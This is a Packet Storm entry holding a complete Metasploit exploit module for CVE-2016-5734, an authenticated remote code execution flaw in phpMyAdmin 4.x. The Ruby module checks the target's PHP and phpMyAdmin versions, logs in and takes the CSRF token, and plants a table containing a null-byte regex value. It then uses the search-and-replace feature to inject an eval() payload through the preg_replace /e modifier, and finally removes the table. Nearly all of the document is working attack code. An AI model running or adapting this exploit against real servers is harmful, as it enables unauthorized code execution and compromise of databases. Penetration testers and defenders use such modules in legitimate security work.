phpMyAdmin 4.x Remote Code Execution

2018-06-18T00:00:00
ID PACKETSTORM:148222
Type packetstorm
Reporter Matteo Cantoni
Modified 2018-06-18T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'phpMyAdmin Authenticated Remote Code Execution',  
'Description' => %q{  
phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x before  
4.6.3 does not properly choose delimiters to prevent use of the preg_replace  
(aka eval) modifier, which might allow remote attackers to execute arbitrary  
PHP code via a crafted string, as demonstrated by the table search-and-replace  
implementation.  
},  
'Author' =>  
[  
'Michal AihaA and Cure53', # Discovery  
'Matteo Cantoni <goony[at]nothink.org>' # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'BID', '91387' ],  
[ 'CVE', '2016-5734' ],  
[ 'CWE', '661' ],  
[ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2016-27/' ],  
[ 'URL', 'https://security.gentoo.org/glsa/201701-32' ],  
[ 'URL', 'https://www.exploit-db.com/exploits/40185/' ],  
],  
'Privileged' => true,  
'Platform' => [ 'php' ],  
'Arch' => ARCH_PHP,  
'Payload' =>  
{  
'BadChars' => "&\n=+%",  
},  
'Targets' =>  
[  
[ 'Automatic', {} ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jun 23 2016'))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),  
OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),  
OptString.new('PASSWORD', [ false, "Password to authenticate with", '']),  
OptString.new('DATABASE', [ true, "Existing database at a server", 'phpmyadmin'])  
])  
end  
  
def check  
begin  
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })  
rescue  
print_error("#{peer} - Unable to connect to server")  
return Exploit::CheckCode::Unknown  
end  
  
if res.nil? || res.code != 200  
print_error("#{peer} - Unable to query /js/messages.php")  
return Exploit::CheckCode::Unknown  
end  
  
# PHP 4.3.0-5.4.6  
# PHP > 5.4.6 not exploitable because null byte in regexp warning  
php_version = res['X-Powered-By']  
if php_version  
vprint_status("#{peer} - PHP version: #{php_version}")  
  
if php_version =~ /PHP\/(\d+\.\d+\.\d+)/  
version = Gem::Version.new($1)  
vprint_status("#{peer} - PHP version: #{version.to_s}")  
if version > Gem::Version.new('5.4.6')  
return Exploit::CheckCode::Safe  
end  
end  
else  
vprint_status("#{peer} - Unknown PHP version")  
end  
  
# 4.3.0 - 4.6.2 authorized user RCE exploit  
if res.body =~ /pmaversion = '(\d+\.\d+\.\d+)';/  
version = Gem::Version.new($1)  
vprint_status("#{peer} - phpMyAdmin version: #{version.to_s}")  
  
if version >= Gem::Version.new('4.3.0') and version <= Gem::Version.new('4.6.2')  
return Exploit::CheckCode::Appears  
elsif version < Gem::Version.new('4.3.0')  
return Exploit::CheckCode::Detected  
end  
return Exploit::CheckCode::Safe  
end  
  
return Exploit::CheckCode::Unknown  
end  
  
def exploit  
return unless check == Exploit::CheckCode::Appears  
  
uri = target_uri.path  
vprint_status("#{peer} - Grabbing CSRF token...")  
  
response = send_request_cgi({ 'uri' => uri})  
  
if response.nil?  
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token")  
elsif (response.body !~ /"token"\s*value="([^"]*)"/)  
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")  
end  
  
token = $1  
vprint_status("#{peer} - Retrieved token #{token}")  
  
vprint_status("#{peer} - Authenticating...")  
login = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'index.php'),  
'vars_post' => {  
'token' => token,  
'pma_username' => datastore['USERNAME'],  
'pma_password' => datastore['PASSWORD']  
}  
})  
  
if login.nil?  
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")  
elsif login.redirect?  
token = login.redirection.to_s.scan(/token=(.*)[&|$]/).flatten.first  
else  
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Wrong phpMyAdmin version?")  
end  
  
cookies = login.get_cookies  
  
login_check = send_request_cgi({  
'uri' => normalize_uri(uri, 'index.php'),  
'vars_get' => { 'token' => token },  
'cookie' => cookies  
})  
  
if login_check.nil?  
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")  
elsif login_check.body =~ /Welcome to/  
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")  
end  
  
vprint_status("#{peer} - Authentication successful")  
  
# Create random table and column  
rand_table = Rex::Text.rand_text_alpha_lower(3+rand(3))  
rand_column = Rex::Text.rand_text_alpha_lower(3+rand(3))  
sql_value = '0%2Fe%00'  
  
vprint_status("#{peer} - Create random table '#{rand_table}' into '#{datastore['DATABASE']}' database...");  
  
create_rand_table = send_request_cgi({  
'uri' => normalize_uri(uri, 'import.php'),  
'method' => 'POST',  
'cookie' => cookies,  
'encode_params' => false,  
'vars_post' => {  
'show_query' => '0',  
'ajax_request' => 'true',  
'db' => datastore['DATABASE'],  
'pos' => '0',  
'is_js_confirmed' => '0',  
'fk_checks' => '0',  
'sql_delimiter' => ';',  
'token' => token,  
'SQL' => 'Go',  
'ajax_page_request' => 'true',  
'sql_query' => "CREATE+TABLE+`#{rand_table}`+( ++++++`#{rand_column}`+varchar(10)+CHARACTER+SET"\  
"+utf8+NOT+NULL ++++)+ENGINE=InnoDB+DEFAULT+CHARSET=latin1; ++++INSERT+INTO+`#{rand_table}`+"\  
"(`#{rand_column}`)+VALUES+('#{sql_value}'); ++++",  
}  
})  
  
if create_rand_table.nil? || create_rand_table.body =~ /(.*)<code>\\n(.*)\\n<\\\/code>(.*)/i  
fail_with(Failure::Unknown, "#{peer} - Failed to create a random table")  
end  
  
vprint_status("#{peer} - Random table created")  
  
# Execute command  
command = Rex::Text.uri_encode(payload.encoded)  
  
exec_cmd = send_request_cgi({  
'uri' => normalize_uri(uri, 'tbl_find_replace.php'),  
'method' => 'POST',  
'cookie' => cookies,  
'encode_params' => false,  
'vars_post' =>{  
'columnIndex' => '0',  
'token' => token,  
'submit' => 'Go',  
'ajax_request' => 'true',  
'goto' => 'sql.php',  
'table' => rand_table,  
'replaceWith' => "eval%28%22#{command}%22%29%3B",  
'db' => datastore['DATABASE'],  
'find' => sql_value,  
'useRegex' => 'on'  
}  
})  
  
# Remove random table  
vprint_status("#{peer} - Remove the random table '#{rand_table}' from '#{datastore['DATABASE']}' database")  
  
rm_table = send_request_cgi({  
'uri' => normalize_uri(uri, 'import.php'),  
'method' => 'POST',  
'cookie' => cookies,  
'encode_params' => false,  
'vars_post' => {  
'show_query' => '0',  
'ajax_request' => 'true',  
'db' => datastore['DATABASE'],  
'pos' => '0',  
'is_js_confirmed' => '0',  
'fk_checks' => '0',  
'sql_delimiter' => ';',  
'token' => token,  
'SQL' => 'Go',  
'ajax_page_request' => 'true',  
'sql_query' => "DROP+TABLE+`#{rand_table}`"  
}  
})  
  
if rm_table.nil? || rm_table.body !~ /(.*)MySQL returned an empty result set \(i.e. zero rows\).(.*)/i  
print_bad("#{peer} - Failed to remove the table '#{rand_table}'")  
end  
end  
end  
`